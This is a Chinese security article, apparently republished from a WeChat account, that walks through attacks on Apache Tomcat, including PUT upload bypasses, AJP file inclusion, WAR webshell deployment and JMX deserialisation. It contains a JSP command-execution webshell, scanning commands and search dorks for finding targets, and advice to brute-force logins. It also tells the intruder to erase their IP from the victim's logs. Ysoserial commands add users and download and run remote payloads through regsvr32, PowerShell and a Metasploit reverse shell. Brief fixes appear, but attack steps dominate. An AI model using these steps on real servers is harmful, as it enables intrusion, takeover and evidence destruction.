Tomcat 服务器是一个开源的轻量级Web应用服务器,在中小型系统和并发量小的场合下被普遍使用。主要组件:服务器Server,服务Service,连接器Connector、容器Container。连接器Connector和容器Container是Tomcat的核心。一个Container容器和一个或多个Connector组合在一起,加上其他一些支持的组件共同组成一个Service服务,有了Service服务便可以对外提供能力了。对外提供服务的同时,部分低版本tomcat却存在漏洞,漏洞被利用导致服务被攻击造成极大破坏。
Tomcat目录结构:
bin:二进制文件
lib:全局的jar包
temp:临时性文件
webapps:Java的web项目,需要部署的项目就要放在这个目录中
work:JSP代码翻译的Java代码以及编译的.class文件
了解Tomcat:
server.xml:配置tomcat启动的端口号、host主机、context等
web.xml:部署描述文件,部署每个webapp时都会调用该文件,配置该web应用的默认servlet
tomcat-user.xml:tomcat的用户密码和权限
任意文件写入(CVE-2017-12615)
Tomcat的几大高危漏洞
Tomcat后台弱口令上传war包,tomcat管理弱口令页面getshell。
Tomcat的PUT的上传漏洞(CVE-2017-12615) ,tomcat put方法任意文件上传CVE-2017-12615。
Tomcat反序列化漏洞(CVE-2016-8735) ,tomcat反序列化漏洞CVE-2016-8735。
Tomcat 样例目录session操控漏洞,Apache Tomcat examples directory vulnerabilities(Apache Tomcat样例目录session操纵漏洞。
Tomcat本地提权漏洞(CVE-2016-1240),Tomcat本地提权漏洞分析与防御。
Tomcat 漏洞列表
Apache Tomcat 拒绝服务漏洞CVE-2014-0230
Apache Tomcat Manager和Host Manager应用程序安全漏洞(CVE-2015-5351)
Apache Tomcat session-persistence 远程代码执行漏洞(CVE-2016-0714)
Apache Tomcat 会话固定漏洞(CVE-2015-5346)
Apache Tomcat 远程代码执行漏洞(CVE-2016-8735)
Apache Tomcat Commons Fileupload 拒绝服务漏洞(CVE-2016-3092)
Apache Tomcat httpoxy 安全漏洞(CVE-2016-5388)
Apache Tomcat 安全绕过漏洞(CVE-2016-6816)
Apache Tomcat AJP协议安全绕过漏洞
Apache Tomcat 安全绕过漏洞(CVE-2012-3439)
Tomcat 拒绝服务漏洞(CVE-2014-0050)
Apache Tomcat 安全漏洞(CVE-2017-6056)
Apache Tomcat 安全漏洞(CVE-2017-5648)
Apache Tomcat Default Servlet 安全漏洞(CVE-2017-5664)
Tomcat 信息泄露漏洞(CVE-2017-12616)
Apache Tomcat 安全漏洞(CVE-2017-12617)
Apache Tomcat 安全漏洞(CVE-2017-5647)
Apache Tomcat 安全漏洞(CVE-2018-1304)
Apache Tomcat 安全漏洞(CVE-2018-1305)
如何快速发现目标的各类tomcat管理控制台入口
第一种,通过常规端口扫描,获取服务banner
# nmap -n -sT -Pn --open -v -p 8080-8090,8443 -sV 192.168.3.100-200
tomcat 的默认端口通常情况下都会在这个区间内,至于具体用什么扫无所谓,masscan,zmap 都一样,只不过 nmap 会识别的更精准
第二种,通过各类外部web搜索引擎进行批量抓取
inurl:/manager/html intitle:apache tomcat site:*.target.* Tomcat 控制台的默认路径/manager/html。也可以只找特定版本的 tomcat。
第三种,通过各类空间搜索引擎进行批量抓取
shodan,zoomeye,fofa,censys......
net:"112.112.0.0/16" port:"8080" product:"Apache Tomcat/Coyote JSP engine" 可先获取它的 as 号,然后再根据 as 号查到的网段,批量抓 tomcat 入口
探测发现后,想办法利用
先从低版本tomcat管理控制台进行弱口令爆破tomcat-6.0.9,在7.x 后的版本加入了防暴力破解,所以针对tomcat 7.x 以后的版本不用考虑爆破。
先添加好 tomcat 控制台角色用户到 tomcat-users.xml文件的<tomcat-users>标签内添加如下用户。
配置完之后,运行 startup.bat 脚本即可启动 tomcat 服务
<role rolename="manager"/>
<role rolename="admin"/>
<user username="tomcat" password="tomcat" roles="manager,admin"/>
爆破的方式很多,可以利用msf tomcat_mgr_login爆破/自行写脚本/burpsuite,请求的时候要先把账号密码 base64encode。至于常见的弱口令可以去github找。
爆破会在目标的web访问日志中留下大量的请求记录,当搞定进入对方机器之后,要把把自己 ip 的所有请求日志都清除掉。
通上面过程,如果登录到目标tomcat manager,接下来就是想办法利用tomcat默认管理控制台自动war包部署功能,部署我们的webshell了。
影响范围:
Tomcat 7.0.0~7.0.81(默认配置)
1)、使用vulhub环境进行复现
原理:配置不当,导致将conf/web.xml中的readonly设置为false,导致可以使用PUT上传任意文件,但限制jsp后缀。不同平台有多种的绕过方法。
复现环境:Tomcat 8.5.19
docker exec -ti bash
cat conf/web.xml |grep readonly
2)、绕过上传jsp
1.windows下不允许文件以空格结尾,上传到windows会自动去掉末尾空格。
2.WindosNTFS流
文件后缀加上::$DATA
3./在文件名中是非法的,会被去除(Windows/Linux)
三种方法都成功上传。
修复建议:
readonly改为true
远程代码执行(CVE-2019-0232)
影响范围:
Tomcat 9.0.0.M1~9.0.17
Tomcat 8.5.0~8.5.39
Tomcat 7.0.0~7.0.93
复现环境:9.0.17
前提:Tomcat的CGI_Servlet组件默认是关闭的,在conf/web.xml中找到注释的部分,去掉注释,并配置enableCmdLineArguments和executable。
找到以上部分代码去掉注释,并加入红框内容。
enableCmdLineArguments启用后会将url中的参数传递到命令行。
executable指定执行的二进制文件,默认是perl,需要置为空才会执行文件本身。
启用cgi的servlet-mapping
修改conf/context.xml,添加privileged=”true”属性,否则会没有权限。
在tomcatwebappsROOTWEB-INF下创建cgi-bin目录,在该目录下创建一个bat文件,随后填写任意内容即可。
修复建议:
1、更新版本。
2、禁用enableCmdLineArguments参数。
AJP文件包含漏洞分析(CVE-2020-1938)
影响版本:
Tomcat 6.x
Tomcat 7.x <7.0.100
Tomcat 8.x <8.5.51
Tomcat 9.x <9.0.31
漏洞危害:如果目标应用有文件上传的功能,配合文件包含的利用可以达到远程代码执行的危害。
影响说明:读取webapp下所有文件
漏洞成因:tomcat部署时有两个重要的配置文件conf/server.xml和conf/web.xml。
前者定义了tomcat启动时设计的组件属性,包含两个用于处理请求的组件connector。如果开启状态下,tomcat启动后会监听8080、8009端口,它们负责接受http、ajp协议的数据。
后者用来定义servlet。
漏洞复现-利用POC攻击:
安装好环境后执行
python 1.py 192.168.109.149 -p 8009 -f /WEB-INF/web.xml
成功读取到/WEB-INF/web.xml文件的源码
漏洞复现-文件包含RCE:
该漏洞可以任意文件类型解析为jsp,从而达到任意命令执行的效果。但漏洞需要配合文件上传漏洞利用。
首先生成bash payload
最终的payload为txt文件:
上传到目标服务器,然后kali开启监听。
python 1.py ip -p 8009 -f RCE.txt
该漏洞可以和war上传联动。
Tomcat弱口令&后台getshell
1)、在conf/tomcat-users.xml文件中配置用户的权限:
<?xml version='1.0' encoding='cp936'?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/> <role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>
2)、改confCatalinalocalhost路径下的manager.xml文件,如果该路径下没有此文件,可以新建一个。内容如下:
<Context privileged="true" antiResourceLocking="false"
docBase="${catalina.home}/webapps/manager">
<Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="^.*$" />
</Context>
3)、成功创建和添加以上内容,允许远程访问该manager。
使用tomcat/tomcat登录,访问正常。
4)、本地getshell复现
(1)、正常安装的情况下,tomcat版本中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性才能进行攻击。
(2)、文件上传war包。
war包简介:
war包是用来进行Web开发时一个网站项目下的所有代码,包括前台HTML/CSS/JS代码,以及后台JavaWeb的代码。当开发人员开发完毕就会将源码打包给测试员测试,测试完毕也会打包成War包进行发布。War包可以放在Tomcat下的webapps或word目录,当Tomcat服务器启动时,War包即会随之解压源代码来进行自动部署。
(3)、生成war大马包
使用java命令:
jar -cvf shell.war shell.jsp
查看上传位置:
成功解析大马并能实现upload功能:
5)、上传冰蝎jsp木马
本地检查成功上传:
此处关闭机场和代理,否则冰蝎会默认走导致无法上线。
6)、MSF上线控制
完成shell控制。
这次我们用 tomcat 9.0.10来进行演示
注意,可能是 tomcat 官方为了安全起见,在 tomcat8.x 之后版本的 manager 默认可能已经不再允许直接远程访问了,只允许本地访问,这也就是为什么有时候,你在访问目标的 manager/html 会出现 403 的情况
webappsmanagerMETA-INFcontext.xml 文件
<Context antiResourceLocking="false" privileged="true" >
<Valve className="org.apache.catalina.valves.RemoteAddrValve"
allow="d+.d+.d+.d+" /> 此正则表示允许任意地址访问
添加管理控制台角色用户tomcat-users.xml 文件:
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="tomcat" password="admin" roles="manager-gui,admin-gui"/>
环境搭建好之后,我们就可以来看看如何部署自己的war包webshell了,寻找manager中用于部署war包的上传点,然后上传自己的war包,至于你的war包webshell是一句话/大马/meterpreter自己随意。
命令执行利用的webshell为例,就两参数一个传命令一个给密码然后循环把执行结果打出来。
java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("cr")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
while((a=in.read(b))!=-1)
{
out.println(new String(b));
}
如下则是 war 包 webshell 的简单制作过程
# jar -cvf Readme.war Readme.jsp
上传制作好的 war 包 webshell,点击部署。
Tomcat 便会自动帮我们部署好并启动它,如下
在 POST 中带上密码和命令去访问自己的 webshell 地址,就可以看到执行结果。
POST: au=sk15&cr=ipconfig /all
关于防御:
war 包webshell部署并不算是漏洞,只是tomcat 的一个正常功能被入侵者利用了。最根本的办法就是删掉 manager目录,实际业务几乎也不大会用到 。另外,就是些加固型的防御手段,提高攻击门槛。加强登录口令/web访问日志实时监控爆破/借助系统防火墙拦截/cc防护...
CVE-2016-8735 远程代码执行利用过程
漏洞影响 tomcat 版本,tomcat 8.0.36为例:
Apache Tomcat 9.0.0.M1 to 9.0.0.M11
Apache Tomcat 8.5.0 to 8.5.6
Apache Tomcat 8.0.0.RC1 to 8.0.38
Apache Tomcat 7.0.0 to 7.0.72
Apache Tomcat 6.0.0 to 6.0.47
在 tomcat 中默认会使用JmxRemoteLifecycleListener 这个监听器来监控 tomcat 平时的各种运行状态。
但 Oracle 在修复了JmxRemoteLifecycleListener 反序列化漏洞[CVE-2016-3427]后,却忘记了及时对tomcat中的jmx监听器进行升级。
所以它本质还是 jmx 的漏洞并非 tomcat 自身漏洞。
实际上 JmxRemoteLifecycleListener 平时用来做监控居多,实际直接从外部碰到该端口的机会也并不是特别多。
漏洞利用过程
先搭建好基础环境,配置 JmxRemoteLifecycleListener监听器。
而后编辑confserver.xml文件添加如下的监听器
<Listener className="org.apache.catalina.mbeans.JmxRemoteLifecycleListener" rmiRegistryPortPlatform="10001" rmiServerPortPlatform="10002" /> |
端口可随意,只要不冲突即可 |
之后,再去编辑bincatalina.bat 文件,添加如下变量直接在 setlocal 下面开始添加。
语句的主要作用是方便别人远程连过来对此 jvm 进行监控,注意此处是没有启用用户认证。
set JAVA_OPTS=-Dcom.sun.management.jmxremote -Djava.rmi.server.hostname=192.168.x.x -Dcom.sun.management.jmxremote.port=1099 -Dcom.sun.management.jmxremote.authenticate=false -
Dcom.sun.management.jmxremote.ssl=false
执行binstartup.bat 脚本启动tomcat
不妨先用jvisualvm连过去看看监控效果
,我们肯定得先发现目标有这样的端口才行,通过nmap对指定的单个目标机器进行全端口扫描并尝试获取服务banner。
# nmap -n -sT -sV -p 1-50000 --open -Pn -v 192.168.x.x
而后利用经典的ysoserial java反序列化payload工具,尝试直接在远程目标机器上执行系统命令。
# java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.x.x 10001 Groovy1 "cmd.exe /c net user flag "Admin!@#45" /add"
像上面这样执行系统命令,配合 msf 一起利用尝试弹回一个meterpreter的shell。
msf5 > use exploit/multi/script/web_delivery msf5 > set target 3 msf5
msf5 > use exploit/multi/script/web_delivery msf5 > set target 3 msf5 > set payload windows/meterpreter/reverse_tcp_rc4_dns msf5 > set lhost 192.168.3.7 msf5 > set lport 53 msf5 > set rc4password msf5 > exploit -j 此处借助 regsvr 32 来远程下载执行
执行过程中需要远程下载 payload这就要求当前目标机器必须能正常通外网才行。
# java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.x.x 10001 Groovy1 "cmd.exe /c regsvr 32 /s /n /u /i:http://192.168.3.7:8080/CzVtq564v1ymsYr.sct scrobj.dll"
再直接尝试利用powershell尝试弹个beacon的shell,先生成 ps 的 payload
而后,继续通过 ysoserial.jar 发送执行该 payload
# java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.x.x 10001 Groovy1 "cmd.exe /c powershell.exe -nop -w hidden -encodedcommand base64encode"
最后,看到 beacon 正常上线
关于利用和防御所要注意的一些点:
上面的环境主要都是针对 windows,至于 Linux 下的利用方法,其实也大同小异,只不过,对于 windows 平台,shell 免杀的问题在实战中你可能还要多费点儿劲,防御非常简单,升级 tomcat 到已修补的版本即可
参考:
https://www.freebuf.com/articles/paper/253666.html
本文作者:stan1ey, 转载请注明来自FreeBuf.COM
https://www.freebuf.com/articles/web/271892.html
本文作者:Pupa, 转载请注明来自FreeBuf.COM
精彩推荐
加微信进群领资料
关注公众号
回复“电子书”获取web渗透、CTF电子书:
回复“视频教程”获取渗透测试视频教程;
回复“内网书籍”获取内网学习书籍;
回复“CTF工具”获取渗透、CTF全套工具;
回复“内网渗透”;获取内网渗透资料;
回复“护网”;获取护网学习资料 ;
回复“python”,获取python视频教程;
回复“java”,获取Java视频教程;
回复“go”,获取go视频教程
知识星球
【Hacking藏经阁】知识星球致力于分享技术和认知。
1、技术方面。主攻渗透测试(web和内网)、CTF比赛、逆向、护网行动等;
400G渗透教学视频、80多本安全类电子书、50个渗透靶场(资料主要来自本人总结、以及学习过程中购买的课程)
2、认知方面。副业经营、人设IP打造,具体点公众号运营、抖*yin等自媒体运营(目前主要在运营两个平台4个号)。
如果你也想像我一样,不想35岁以后被动的去面试,那么加入星球我们一起成长。
▶【渗透实战系列】50|- Log4j打点后与管理员斗智斗勇
▶【渗透实战系列】49|-实战某高校的一次挖矿病毒的应急处置
▶【渗透实战系列】|45-记一次渗透实战-代码审计到getshell
▶【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)
▶【渗透实战系列】|42-防范诈骗,记一次帮助粉丝渗透黑入某盘诈骗的实战
▶【渗透实战系列】|40-APP渗透测试步骤(环境、代理、抓包挖洞)
▶【渗透实战系列】|35-旁站信息泄露的dedecms站点渗透
▶【渗透实战系列】|33-App渗透 ,由sql注入、绕过人脸识别、成功登录APP
▶【渗透实战系列】|32-FOFA寻找漏洞,绕过杀软拿下目标站
▶【渗透实战系列】|30-从SQL注入渗透内网(渗透的本质就是信息搜集)
▶【渗透实战系列】|29-实战|对某勒索APP的Getshell
▶【渗透实战系列】|27-对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)
▶【渗透实战系列】|25一次从 APP 逆向到 Getshell 的过程
▶【渗透实战系列】|24-针对CMS的SQL注入漏洞的代码审计思路和方法
▶【渗透实战系列】|18-手动拿学校站点 得到上万人的信息(漏洞已提交)
▶【渗透实战系列】|17-巧用fofa对目标网站进行getshell
▶【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点
▶【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局
▶【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)
▶【渗透实战系列】|9-对境外网站开展的一次web渗透测试(非常详细,适合打战练手)
▶【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)
▶【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)
点分享
点收藏
点点赞
点在看
原文始发于微信公众号(Hacking黑白红):【中间件】tomcat 系列漏洞总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论